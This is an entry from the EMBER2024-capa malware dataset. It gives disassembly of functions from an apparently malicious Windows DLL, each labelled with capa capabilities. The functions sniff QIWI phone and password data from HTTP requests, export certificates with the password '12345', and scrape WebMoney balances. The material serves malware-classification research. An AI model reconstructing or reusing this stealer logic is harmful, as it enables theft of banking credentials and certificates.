joyce8/EMBER2024-capa huggingface dataset:
Function at 0x1001f110
Capabilities:
Check mutex on windows
Create thread

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
push ecx
push ebx
push esi
push edi
mov edi, dword [sym.imp.KERNEL32.dll_OpenMutexA]
push str.LocalAAF799BF_8989_4fe1_9A0D_95CD39DC0A14
push 0
push 0x100000
call edi
mov ebx, dword [sym.imp.KERNEL32.dll_Sleep]
mov esi, eax
test esi, esi
jne 0x1001f158
lea ebx, [ebx]
push 0x64
call ebx
push str.LocalAAF799BF_8989_4fe1_9A0D_95CD39DC0A14
push 0
push 0x100000
call edi
mov esi, eax
test esi, esi
je 0x1001f140
push esi
call dword [sym.imp.KERNEL32.dll_ReleaseMutex]
mov edi, dword [sym.imp.KERNEL32.dll_GetHandleInformation]
mov dword [esp + 0xc], 0
test esi, esi
je 0x1001f18b
lea eax, [esp + 0xc]
push eax
push esi
call edi
test eax, eax
je 0x1001f18b
test byte [esp + 0xc], 2
jne 0x1001f18b
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push 0
push 0
push 0
push 0x1001efc0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
mov esi, eax
test esi, esi
je 0x1001f1d8
push 0x9c40
call ebx
push 0xffffffffffffffff
push esi
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
lea ecx, [esp + 0xc]
push ecx
push esi
mov dword [esp + 0x14], 0
call edi
test eax, eax
je 0x1001f1d8
test byte [esp + 0xc], 2
jne 0x1001f1d8
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push 0x1005da6c
call dword [sym.imp.SHLWAPI.dll_PathAddBackslashA]
push str.INIST
push 0x1005da6c
call fcn.10011c80
push 0x9c40
call ebx
call fcn.1001f110
pop edi
pop esi
xor eax, eax
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x1001f210
Capabilities:
Create directory
Set current directory

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x104
xor eax, eax
jmp 0x1001f220
mov cl, byte [eax + 0x1005ae00]
mov byte [ebp + eax - 0x104], cl
inc eax
test cl, cl
jne 0x1001f220
push ebx
mov ebx, dword [sym.imp.SHLWAPI.dll_PathAddBackslashA]
push esi
push edi
push 0x1005db70
call ebx
mov eax, 0x1005db70
mov ecx, eax
lea esp, [esp]
mov dl, byte [eax]
inc eax
test dl, dl
jne 0x1001f250
lea edi, [ebp - 0x104]
sub eax, ecx
mov esi, ecx
dec edi
mov cl, byte [edi + 1]
inc edi
test cl, cl
jne 0x1001f262
mov ecx, eax
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
push 0
lea eax, [ebp - 0x104]
and ecx, 3
push eax
rep movsb byte es:[edi], byte [esi]
call dword [sym.imp.KERNEL32.dll_CreateDirectoryA]
test eax, eax
je 0x1001f2b1
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov esi, eax
call dword [sym.imp.SHELL32.dll_IsUserAnAdmin]
test eax, eax
je 0x1001f2aa
lea ecx, [ebp - 0x104]
push ecx
call dword [sym.imp.SHLWAPI.dll_PathMakeSystemFolderA]
push esi
call dword [sym.imp.KERNEL32.dll_SetLastError]
lea edx, [ebp - 0x104]
push edx
call dword [sym.imp.KERNEL32.dll_SetCurrentDirectoryA]
test eax, eax
je 0x1001f3a6
lea eax, [ebp - 0x104]
dec eax
lea ecx, [ecx]
mov cl, byte [eax + 1]
inc eax
test cl, cl
jne 0x1001f2d0
mov ecx, dword [str.keys.zip]
mov edx, dword [0x1004a38c]
mov dword [eax], ecx
mov cl, byte [0x1004a390]
mov dword [eax + 4], edx
mov edx, dword [ebp + 8]
mov byte [eax + 8], cl
push edx
lea eax, [ebp - 0x104]
push eax
call fcn.10028fe0
test eax, eax
je 0x1001f3a6
xor eax, eax
lea esp, [esp]
mov cl, byte [eax + 0x1005ae00]
mov byte [ebp + eax - 0x104], cl
inc eax
test cl, cl
jne 0x1001f310
push 0x1005db70
call ebx
mov eax, 0x1005db70
mov ecx, eax
mov dl, byte [eax]
inc eax
test dl, dl
jne 0x1001f330
lea edi, [ebp - 0x104]
sub eax, ecx
mov esi, ecx
dec edi
mov cl, byte [edi + 1]
inc edi
test cl, cl
jne 0x1001f342
mov ecx, eax
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
and ecx, 3
lea eax, [ebp - 0x104]
rep movsb byte es:[edi], byte [esi]
dec eax
nop
mov cl, byte [eax + 1]
inc eax
test cl, cl
jne 0x1001f360
mov ecx, dword [str.path1.txt]
mov edx, dword [0x1004aa38]
mov esi, dword [ebp + 8]
mov dword [eax], ecx
mov cx, word [0x1004aa3c]
mov dword [eax + 4], edx
mov word [eax + 8], cx
mov eax, esi
lea edx, [eax + 1]
lea esp, [esp]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x1001f390
sub eax, edx
push eax
push esi
lea eax, [ebp - 0x104]
call fcn.10005550
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 4
Function at 0x1001f8a0
Capabilities:
Check mutex on windows
Create thread

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
push ecx
push ebx
push esi
push edi
mov edi, dword [sym.imp.KERNEL32.dll_OpenMutexA]
push str.LocalEAF329BF_8989_4fe1_9A0D_95CD39DC0214
push 0
push 0x100000
call edi
mov ebx, dword [sym.imp.KERNEL32.dll_Sleep]
mov esi, eax
test esi, esi
jne 0x1001f8e8
lea ebx, [ebx]
push 0x64
call ebx
push str.LocalEAF329BF_8989_4fe1_9A0D_95CD39DC0214
push 0
push 0x100000
call edi
mov esi, eax
test esi, esi
je 0x1001f8d0
push esi
call dword [sym.imp.KERNEL32.dll_ReleaseMutex]
mov edi, dword [sym.imp.KERNEL32.dll_GetHandleInformation]
mov dword [esp + 0xc], 0
test esi, esi
je 0x1001f91b
lea eax, [esp + 0xc]
push eax
push esi
call edi
test eax, eax
je 0x1001f91b
test byte [esp + 0xc], 2
jne 0x1001f91b
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push 0
push 0
push 0
push 0x1001f610
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
mov esi, eax
test esi, esi
je 0x1001f968
push 0x9c40
call ebx
push 0xffffffffffffffff
push esi
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
lea ecx, [esp + 0xc]
push ecx
push esi
mov dword [esp + 0x14], 0
call edi
test eax, eax
je 0x1001f968
test byte [esp + 0xc], 2
jne 0x1001f968
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push 0x1005db70
call dword [sym.imp.SHLWAPI.dll_PathAddBackslashA]
push str.INTER
push 0x1005db70
call fcn.10011c80
push 0x9c40
call ebx
call fcn.1001f8a0
pop edi
pop esi
xor eax, eax
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x1001f9a0
Capabilities:
Create thread
Get graphical window text

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x208
cmp dword [0x1005b34c], 0
jne 0x1001face
push 0x104
lea eax, [ebp - 0x208]
push eax
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
push str.cbsmain.dll
lea ecx, [ebp - 0x208]
push ecx
call dword [sym.imp.SHLWAPI.dll_StrStrIA]
test eax, eax
je 0x1001face
mov eax, dword [ebp + 8]
push 0x104
lea edx, [ebp - 0x104]
push edx
push 2
push eax
call dword [sym.imp.USER32.dll_GetAncestor]
push eax
call dword [sym.imp.USER32.dll_GetWindowTextA]
cmp dword [0x1005b348], 0
jne 0x1001fa52
mov ecx, 0x1004aabc
lea eax, [ebp - 0x104]
mov dl, byte [eax]
cmp dl, byte [ecx]
jne 0x1001fa37
test dl, dl
je 0x1001fa33
mov dl, byte [eax + 1]
cmp dl, byte [ecx + 1]
jne 0x1001fa37
add eax, 2
add ecx, 2
test dl, dl
jne 0x1001fa17
xor eax, eax
jmp 0x1001fa3c
sbb eax, eax
sbb eax, 0xffffffff
xor ecx, ecx
test eax, eax
sete cl
mov eax, ecx
mov dword [0x1005b348], eax
test eax, eax
je 0x1001face
mov ecx, 0x1004aacc
lea eax, [ebp - 0x104]
lea ecx, [ecx]
mov dl, byte [eax]
cmp dl, byte [ecx]
jne 0x1001fa80
test dl, dl
je 0x1001fa7c
mov dl, byte [eax + 1]
cmp dl, byte [ecx + 1]
jne 0x1001fa80
add eax, 2
add ecx, 2
test dl, dl
jne 0x1001fa60
xor eax, eax
jmp 0x1001fa85
sbb eax, eax
sbb eax, 0xffffffff
test eax, eax
jne 0x1001face
push esi
push eax
push eax
push eax
push 0x1001fc40
push eax
push eax
mov dword [0x1005b34c], 1
call dword [sym.imp.KERNEL32.dll_CreateThread]
mov esi, eax
test esi, esi
je 0x1001facd
lea edx, [ebp + 8]
push edx
push esi
mov dword [ebp + 8], 0
call dword [sym.imp.KERNEL32.dll_GetHandleInformation]
test eax, eax
je 0x1001facd
test byte [ebp + 8], 2
jne 0x1001facd
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
pop esi
mov esp, ebp
pop ebp
ret 4
Function at 0x10020060
Capabilities:
Create directory
Create thread
Set current directory

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x210
cmp dword [0x1005b354], 0
push ebx
push esi
push edi
jne 0x10020249
mov edi, dword [ebp + 8]
test edi, edi
je 0x10020249
cmp dword [edi], 0x20544547
jne 0x10020249
cmp dword [0x1005b350], 0
jne 0x10020201
mov esi, dword [sym.imp.MSVCRT.dll_strstr]
push str.w.qiwi.ru
push edi
call esi
add esp, 8
test eax, eax
je 0x10020249
push str.phone
push edi
call esi
add esp, 8
test eax, eax
je 0x10020249
push str.password
push edi
call esi
add esp, 8
test eax, eax
je 0x10020249
xor eax, eax
mov edi, edi
mov cl, byte [eax + 0x1005ae00]
mov byte [ebp + eax - 0x108], cl
inc eax
test cl, cl
jne 0x100200e0
mov ebx, dword [sym.imp.SHLWAPI.dll_PathAddBackslashA]
push 0x1005dd78
call ebx
mov eax, 0x1005dd78
mov ecx, eax
mov dl, byte [eax]
inc eax
test dl, dl
jne 0x10020106
lea edi, [ebp - 0x108]
sub eax, ecx
mov esi, ecx
dec edi
mov cl, byte [edi + 1]
inc edi
test cl, cl
jne 0x10020118
mov ecx, eax
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
and ecx, 3
push 0x1005dd78
rep movsb byte es:[edi], byte [esi]
call ebx
xor eax, eax
jmp 0x10020140
mov cl, byte [eax + 0x1005ae00]
mov byte [ebp + eax - 0x210], cl
inc eax
test cl, cl
jne 0x10020140
mov eax, 0x1005dd78
mov edx, eax
lea esp, [esp]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x10020160
lea edi, [ebp - 0x210]
sub eax, edx
dec edi
mov cl, byte [edi + 1]
inc edi
test cl, cl
jne 0x10020170
mov ecx, eax
shr ecx, 2
mov esi, edx
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
lea eax, [ebp - 0x210]
and ecx, 3
push eax
rep movsb byte es:[edi], byte [esi]
call fcn.10005810
push 0
lea ecx, [ebp - 0x108]
push ecx
call dword [sym.imp.KERNEL32.dll_CreateDirectoryA]
test eax, eax
je 0x100201cd
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov esi, eax
call dword [sym.imp.SHELL32.dll_IsUserAnAdmin]
test eax, eax
je 0x100201c6
lea edx, [ebp - 0x108]
push edx
call dword [sym.imp.SHLWAPI.dll_PathMakeSystemFolderA]
push esi
call dword [sym.imp.KERNEL32.dll_SetLastError]
lea eax, [ebp - 0x108]
push eax
call dword [sym.imp.KERNEL32.dll_SetCurrentDirectoryA]
mov esi, dword [ebp + 8]
mov eax, esi
lea edx, [eax + 1]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x100201e2
sub eax, edx
push eax
push esi
mov eax, str.pass.txt
call fcn.10005550
mov dword [0x1005b350], 1
push 0
push 0
push 0
push 0x100203b0
push 0
push 0
mov dword [0x1005b354], 1
call dword [sym.imp.KERNEL32.dll_CreateThread]
mov esi, eax
test esi, esi
je 0x10020249
lea ecx, [ebp + 8]
push ecx
push esi
mov dword [ebp + 8], 0
call dword [sym.imp.KERNEL32.dll_GetHandleInformation]
test eax, eax
je 0x10020249
test byte [ebp + 8], 2
jne 0x10020249
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 4
Function at 0x10020d00
Capabilities:
Create directory
Set current directory

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x104
xor eax, eax
jmp 0x10020d10
mov cl, byte [eax + 0x1005ae00]
mov byte [ebp + eax - 0x104], cl
inc eax
test cl, cl
jne 0x10020d10
push 0x1005df80
call dword [sym.imp.SHLWAPI.dll_PathAddBackslashA]
mov eax, 0x1005df80
mov edx, eax
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x10020d34
push esi
push edi
lea edi, [ebp - 0x104]
sub eax, edx
dec edi
mov cl, byte [edi + 1]
inc edi
test cl, cl
jne 0x10020d46
mov ecx, eax
shr ecx, 2
mov esi, edx
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
push 0
lea eax, [ebp - 0x104]
and ecx, 3
push eax
rep movsb byte es:[edi], byte [esi]
call dword [sym.imp.KERNEL32.dll_CreateDirectoryA]
test eax, eax
je 0x10020d97
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov esi, eax
call dword [sym.imp.SHELL32.dll_IsUserAnAdmin]
test eax, eax
je 0x10020d90
lea ecx, [ebp - 0x104]
push ecx
call dword [sym.imp.SHLWAPI.dll_PathMakeSystemFolderA]
push esi
call dword [sym.imp.KERNEL32.dll_SetLastError]
lea edx, [ebp - 0x104]
push edx
call dword [sym.imp.KERNEL32.dll_SetCurrentDirectoryA]
pop edi
pop esi
test eax, eax
je 0x10020de3
lea eax, [ebp - 0x104]
dec eax
mov cl, byte [eax + 1]
inc eax
test cl, cl
jne 0x10020db1
mov ecx, dword [str.keys.zip]
mov edx, dword [0x1004a38c]
mov dword [eax], ecx
mov cl, byte [0x1004a390]
mov dword [eax + 4], edx
mov edx, dword [ebp + 8]
mov byte [eax + 8], cl
push edx
lea eax, [ebp - 0x104]
push eax
call fcn.10028fe0
mov esp, ebp
pop ebp
ret 4
Function at 0x10022070
Capabilities:
Create directory
Set current directory

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x104
xor eax, eax
jmp 0x10022080
mov cl, byte [eax + 0x1005ae00]
mov byte [ebp + eax - 0x104], cl
inc eax
test cl, cl
jne 0x10022080
push ebx
mov ebx, dword [sym.imp.SHLWAPI.dll_PathAddBackslashA]
push esi
push edi
push 0x1005e188
call ebx
mov eax, 0x1005e188
mov ecx, eax
lea esp, [esp]
mov dl, byte [eax]
inc eax
test dl, dl
jne 0x100220b0
lea edi, [ebp - 0x104]
sub eax, ecx
mov esi, ecx
dec edi
mov cl, byte [edi + 1]
inc edi
test cl, cl
jne 0x100220c2
mov ecx, eax
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
push 0
lea eax, [ebp - 0x104]
and ecx, 3
push eax
rep movsb byte es:[edi], byte [esi]
call dword [sym.imp.KERNEL32.dll_CreateDirectoryA]
test eax, eax
je 0x10022111
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov esi, eax
call dword [sym.imp.SHELL32.dll_IsUserAnAdmin]
test eax, eax
je 0x1002210a
lea ecx, [ebp - 0x104]
push ecx
call dword [sym.imp.SHLWAPI.dll_PathMakeSystemFolderA]
push esi
call dword [sym.imp.KERNEL32.dll_SetLastError]
lea edx, [ebp - 0x104]
push edx
call dword [sym.imp.KERNEL32.dll_SetCurrentDirectoryA]
test eax, eax
je 0x10022206
mov eax, dword [ebp + 8]
push eax
lea ecx, [ebp - 0x104]
push ecx
call fcn.10028fe0
test eax, eax
je 0x10022206
lea eax, [ebp - 0x104]
dec eax
mov cl, byte [eax + 1]
inc eax
test cl, cl
jne 0x10022145
mov edx, dword [str.keys.zip]
mov ecx, dword [0x1004a38c]
mov dword [eax], edx
mov dl, byte [0x1004a390]
mov dword [eax + 4], ecx
mov byte [eax + 8], dl
xor eax, eax
lea esp, [esp]
mov cl, byte [eax + 0x1005ae00]
mov byte [ebp + eax - 0x104], cl
inc eax
test cl, cl
jne 0x10022170
push 0x1005e188
call ebx
mov eax, 0x1005e188
mov ecx, eax
mov dl, byte [eax]
inc eax
test dl, dl
jne 0x10022190
lea edi, [ebp - 0x104]
sub eax, ecx
mov esi, ecx
dec edi
mov cl, byte [edi + 1]
inc edi
test cl, cl
jne 0x100221a2
mov ecx, eax
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
and ecx, 3
lea eax, [ebp - 0x104]
rep movsb byte es:[edi], byte [esi]
dec eax
nop
mov cl, byte [eax + 1]
inc eax
test cl, cl
jne 0x100221c0
mov ecx, dword [str.path1.txt]
mov edx, dword [0x1004aa38]
mov esi, dword [ebp + 8]
mov dword [eax], ecx
mov cx, word [0x1004aa3c]
mov dword [eax + 4], edx
mov word [eax + 8], cx
mov eax, esi
lea edx, [eax + 1]
lea esp, [esp]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x100221f0
sub eax, edx
push eax
push esi
lea eax, [ebp - 0x104]
call fcn.10005550
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 4
Function at 0x10022b90
Capabilities:
Check if file exists

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0x114
push ebx
push esi
push edi
push 0x1004af04
push 0
mov dword [esp + 0x18], 0
call dword [sym.imp.CRYPT32.dll_CertOpenSystemStoreA]
mov edi, eax
mov dword [esp + 0x14], edi
test edi, edi
je 0x10022be1
push 0
push 0
push 0
push 0
push 2
call dword [sym.imp.CRYPT32.dll_CertOpenStore]
mov esi, eax
push 0
mov dword [esp + 0x10], esi
push edi
test esi, esi
jne 0x10022bea
call dword [sym.imp.CRYPT32.dll_CertCloseStore]
xor eax, eax
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
call dword [sym.imp.CRYPT32.dll_CertEnumCertificatesInStore]
mov ebx, eax
test ebx, ebx
je 0x10022d6c
lea ebx, [ebx]
push ebx
call fcn.10022af0
test eax, eax
je 0x10022d52
mov eax, dword [ebx + 0xc]
push eax
push 0
call dword [sym.imp.CRYPT32.dll_CertVerifyTimeValidity]
test eax, eax
jne 0x10022d52
push eax
push 4
push ebx
push esi
call dword [sym.imp.CRYPT32.dll_CertAddCertificateContextToStore]
push 0x10
push 8
call dword [sym.imp.KERNEL32.dll_GetProcessHeap]
push eax
call dword [sym.imp.KERNEL32.dll_HeapAlloc]
mov edi, eax
test edi, edi
je 0x10022d52
xor eax, eax
push 4
push eax
push eax
mov dword [edi], eax
push edi
mov dword [edi + 8], eax
push esi
mov esi, dword [sym.imp.CRYPT32.dll_PFXExportCertStoreEx]
mov dword [edi + 0xc], eax
mov dword [edi + 4], eax
call esi
mov ecx, dword [edi]
test ecx, ecx
je 0x10022d30
call fcn.10012420
mov dword [edi + 4], eax
test eax, eax
je 0x10022d30
mov ecx, dword [esp + 0xc]
push 4
push 0
push str.12345
push edi
push ecx
call esi
push 0x104
lea edx, [esp + 0x1c]
push edx
push 0
push 1
push 4
push ebx
call dword [sym.imp.CRYPT32.dll_CertGetNameStringA]
lea eax, [esp + 0x18]
push eax
call fcn.100229e0
dec eax
mov cl, byte [eax + 1]
inc eax
test cl, cl
jne 0x10022cb0
mov ecx, dword [str._IE_]
mov dword [eax], ecx
mov dl, byte [0x1004af18]
mov byte [eax + 4], dl
lea eax, [esp + 0x18]
dec eax
mov edi, edi
mov cl, byte [eax + 1]
inc eax
test cl, cl
jne 0x10022cd0
mov ecx, dword [str..p12]
mov dl, byte [0x1004af20]
mov dword [eax], ecx
mov byte [eax + 4], dl
push str.webmoney
lea eax, [esp + 0x1c]
push eax
call dword [sym.imp.SHLWAPI.dll_StrStrIA]
test eax, eax
je 0x10022d28
mov ecx, dword [edi]
mov edx, dword [edi + 4]
push ecx
push edx
lea eax, [esp + 0x20]
call fcn.10005550
push 0
lea eax, [esp + 0x1c]
push eax
call fcn.10023330
push str.balance.htm
call dword [sym.imp.SHLWAPI.dll_PathFileExistsA]
mov dword [esp + 0x10], eax
mov esi, dword [edi + 4]
call fcn.10012460
mov esi, dword [sym.imp.KERNEL32.dll_GetProcessHeap]
push edi
push 0
call esi
push eax
call dword [sym.imp.KERNEL32.dll_HeapValidate]
test eax, eax
je 0x10022d52
push edi
push 0
call esi
push eax
call dword [sym.imp.KERNEL32.dll_HeapFree]
mov edi, dword [esp + 0x14]
push ebx
push edi
call dword [sym.imp.CRYPT32.dll_CertEnumCertificatesInStore]
mov esi, dword [esp + 0xc]
mov ebx, eax
test ebx, ebx
jne 0x10022c00
push 0
push esi
mov esi, dword [sym.imp.CRYPT32.dll_CertCloseStore]
call esi
push 0
push edi
call esi
mov eax, dword [esp + 0x10]
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x10022d90
Capabilities:
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 8
push ebx
mov ebx, dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
push esi
push edi
mov dword [ebp - 8], 0
xor edi, edi
jmp 0x10022db0
lea eax, [ebp - 4]
push eax
push 0xf003f
push 0
push str.SOFTWAREClientsStartMenuInternet_firefox.exe_shellopencommand
push 0x80000002
mov dword [ebp - 4], 0x80000002
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x10022e03
mov edx, dword [ebp - 4]
lea ecx, [ebp - 8]
push ecx
push edi
push eax
push eax
push eax
push edx
call ebx
mov esi, eax
mov eax, dword [ebp - 4]
push eax
call dword [sym.imp.ADVAPI32.dll_RegFlushKey]
mov ecx, dword [ebp - 4]
push ecx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
xor eax, eax
test esi, esi
sete al
jmp 0x10022e05
xor eax, eax
test edi, edi
jne 0x10022e1e
mov ecx, dword [ebp - 8]
test ecx, ecx
je 0x10022e1e
push ecx
call dword [sym.imp.MSVCRT.dll_malloc]
add esp, 4
mov edi, eax
jmp 0x10022db0
test eax, eax
jne 0x10022e35
push edi
call dword [sym.imp.MSVCRT.dll_free]
add esp, 4
pop edi
pop esi
xor eax, eax
pop ebx
mov esp, ebp
pop ebp
ret
mov eax, edi
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret

Function at 0x10022f00
Capabilities:
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x10
mov eax, 4
mov dword [ebp - 0x10], eax
mov dword [ebp - 0xc], eax
lea eax, [ebp - 4]
push eax
push 0x20119
push 0
push str.softwaremicrosoft
push 0x80000001
mov dword [ebp - 8], 0
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x10022f5e
lea ecx, [ebp - 0xc]
push ecx
mov ecx, dword [ebp - 4]
lea edx, [ebp - 8]
push edx
lea eax, [ebp - 0x10]
push eax
push 0
push 0x1005c30c
push ecx
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
mov edx, dword [ebp - 4]
push edx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
xor eax, eax
cmp eax, dword [ebp - 8]
sbb eax, eax
neg eax
mov esp, ebp
pop ebp
ret

Function at 0x10022f70
Capabilities:
Set registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 8
call dword [sym.imp.KERNEL32.dll_GetTickCount]
mov dword [ebp - 8], eax
lea eax, [ebp - 4]
push eax
push 0x101
push 0
push str.softwaremicrosoft
push 0x80000001
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x10022fca
mov edx, dword [ebp - 4]
push 4
lea ecx, [ebp - 8]
push ecx
push 4
push eax
push 0x1005c30c
push edx
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
mov eax, dword [ebp - 4]
push eax
call dword [sym.imp.ADVAPI32.dll_RegFlushKey]
mov ecx, dword [ebp - 4]
push ecx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov esp, ebp
pop ebp
ret
Function at 0x100231c0
Capabilities:
Set current directory

Disassembly:
push ebp
mov ebp, esp
mov eax, dword [0x10050f40]
mov ecx, dword [eax]
mov edx, dword [ecx + 0x48]
push edi
push 0x10050f20
push eax
xor edi, edi
call edx
test eax, eax
jne 0x10023203
mov eax, dword [0x10050f20]
mov ecx, dword [eax]
mov edx, dword [ecx]
push 0x10050f44
push 0x10045698
push eax
call edx
test eax, eax
je 0x1002320a
mov eax, dword [0x10050f20]
mov ecx, dword [eax]
mov edx, dword [ecx + 8]
push eax
call edx
xor eax, eax
pop edi
pop ebp
ret 4
mov eax, dword [0x10050f44]
mov ecx, dword [eax]
mov edx, dword [ecx + 0x24]
push 0x10050f48
push eax
call edx
test eax, eax
je 0x10023241
mov eax, dword [0x10050f20]
mov ecx, dword [eax]
mov edx, dword [ecx + 8]
push eax
call edx
mov eax, dword [0x10050f44]
mov ecx, dword [eax]
mov edx, dword [ecx + 8]
push eax
call edx
xor eax, eax
pop edi
pop ebp
ret 4
mov eax, dword [0x10050f48]
mov ecx, dword [eax]
mov edx, dword [ecx + 0xe8]
push 0x10050e04
push eax
call edx
test eax, eax
jne 0x100232b3
mov eax, dword [ebp + 8]
push eax
call dword [sym.imp.KERNEL32.dll_SetCurrentDirectoryA]
test eax, eax
je 0x100232b3
mov ecx, dword [0x10050e04]
push esi
push ecx
call fcn.10018c50
mov esi, eax
test esi, esi
je 0x100232b2
push str.CtlPurseList1_dgPurses1_ctl02_hlPurseInfo
push esi
call dword [sym.imp.MSVCRT.dll_strstr]
add esp, 8
test eax, eax
je 0x100232ad
mov eax, esi
lea edx, [eax + 1]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x10023293
sub eax, edx
push eax
push esi
mov eax, str.balance.htm
call fcn.10005550
mov edi, 1
call fcn.10012460
pop esi
mov eax, edi
pop edi
pop ebp
ret 4
Function at 0x10023f80
Capabilities:
Enumerate processes

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0x12c
push ebx
push esi
push edi
xor esi, esi
push 0x124
lea eax, [esp + 0x18]
push esi
push eax
mov dword [esp + 0x18], esi
mov dword [esp + 0x1c], esi
call sub.MSVCRT.dll_memset
add esp, 0xc
push esi
push 2
call dword [sym.imp.KERNEL32.dll_CreateToolhelp32Snapshot]
mov esi, eax
cmp esi, 0xffffffff
jne 0x10023fc7
xor eax, eax
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 4
lea ecx, [esp + 0x10]
push ecx
push esi
mov dword [esp + 0x18], 0x128
call dword [sym.imp.KERNEL32.dll_Process32First]
mov edi, dword [sym.imp.SHLWAPI.dll_StrStrIA]
mov ebx, dword [sym.imp.KERNEL32.dll_Process32Next]
mov edx, dword [ebp + 8]
push edx
lea eax, [esp + 0x38]
push eax
call edi
test eax, eax
jne 0x1002403b
lea ecx, [esp + 0x10]
push ecx
push esi
call ebx
test eax, eax
jne 0x10023fe7
mov edi, dword [esp + 0xc]
mov dword [esp + 0xc], 0
test esi, esi
je 0x10024030
lea edx, [esp + 0xc]
push edx
push esi
call dword [sym.imp.KERNEL32.dll_GetHandleInformation]
test eax, eax
je 0x10024030
test byte [esp + 0xc], 2
jne 0x10024030
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, edi
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 4
mov edi, dword [esp + 0x18]
jmp 0x10024006